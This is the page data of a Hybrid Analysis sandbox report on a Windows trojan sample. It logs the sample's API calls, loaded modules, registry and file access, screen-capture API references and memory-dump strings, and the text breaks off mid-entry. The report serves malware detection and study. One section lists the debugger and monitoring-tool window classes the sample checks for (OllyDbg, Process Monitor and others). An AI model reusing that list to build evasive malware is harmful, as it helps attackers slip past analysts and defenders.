26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample 2f7f23610e8e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2f7f23610e8e…. Malware family: Malware. Threat score 100/100. 7/25 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f"],"about":{"@type":"SoftwareApplication","name":"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378","applicationCategory":["peexe","executable"],"identifier":"2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":7,"total":25},"behavioralIndicators":{"malicious":15,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T7d5,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000030ef0101d4ee0101226ed0740000e803000000002d6ed07432fc337c2d000000ecb7dd7558ef010100001201c8cdaa03c8ada903100000008000000098ee0101000012011cef010170c8d1741e63e409feffffff2d000000d0ccec7527000000ecee0101856ad2741c23d7742cef0101f85fd27408000000bb69d174b269d174cafd337c2d000000ecb7dd7527000000d0ccec7500ef01012d000000d0ccec752700000030ef0101856ad2741c23d77478ef01017e8aeb75ee8ceb75738aeb751cd74b142d000000ecb7dd7527000000d0ccec75fc9ae803909ae8031cd74b1440ef0101fc5229762cf00101e084eb755cc96d63feffffff738aeb75 (UID: 00000000-00006904)28:T926,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter SETUPAPI.dll (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006904)29:T1b31,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006904) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00006904)2a:T800,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f20000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f20000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f20000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "KERNEL32" at base 74d90000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73750000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "USER32.DLL" at base 75c20000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "ADVAPI32.DLL" at base 74160000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "NTDLL.DLL" at base 775f0000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "WINMM.DLL" at base 732c0000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "NTDLL" at base 775f0000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "KERNEL32.DLL" at base 74d90000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "GDI32.DLL" at base 741e0000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "SHELL32.DLL" at base 75db0000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "OLE32.DLL" at base 74270000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "WS2_32.DLL" at base 75320000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "CRYPT32.DLL" at base 74570000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "SHLWAPI.DLL" at base 74370000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "GDIPLUS.DLL" at base 73d50000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "SETUPAPI.DLL" at base 74880000 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 74d900002b:T432,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "OLLYDBG" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "GBDYLLO" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "pediy06" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "FilemonClass" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for window "File Monitor - Sysinternals: www.sysinternals.com" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "PROCMON_WINDOW_CLASS" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for window "Process Monitor - Sysinternals: www.sysinternals.com" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "RegmonClass" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for window "Registry Monitor - Sysinternals: www.sysinternals.com" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "18467-41" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" searching for class "Regmonclass"2c:T504,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "")2d:Ta1f,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2024"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")2e:T4c3,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\SECURITEINFO.COM.WIN32.TROJANX-GEN.27509.3378.EXE.LOCAL" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.16299.248_none_d0271d135f36f548\comctl32.dll" "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" trying to touch file "C:\Windows\SysWOW64\msvcrt.dll"2f:T54b,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp")30:T1d42,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03A90000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\msrpc.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\msrpc.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\ksecdd.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\ksecdd.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\werkernel.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\werkernel.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\CLFS.SYS" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\CLFS.SYS" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\tm.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\tm.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\FLTMGR.SYS" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\FLTMGR.SYS" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\clipsp.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\clipsp.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\cmimcext.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\cmimcext.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\ntosext.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\ntosext.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\cng.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\cng.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\Wdf01000.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\Wdf01000.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WDFLDR.SYS" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WDFLDR.SYS" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WppRecorder.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WppRecorder.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\SleepStudyHelper.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\SleepStudyHelper.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\acpiex.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\acpiex.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\mssecflt.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\mssecflt.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\ACPI.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\ACPI.sys" (Indicator: "system32\drivers"; Source: 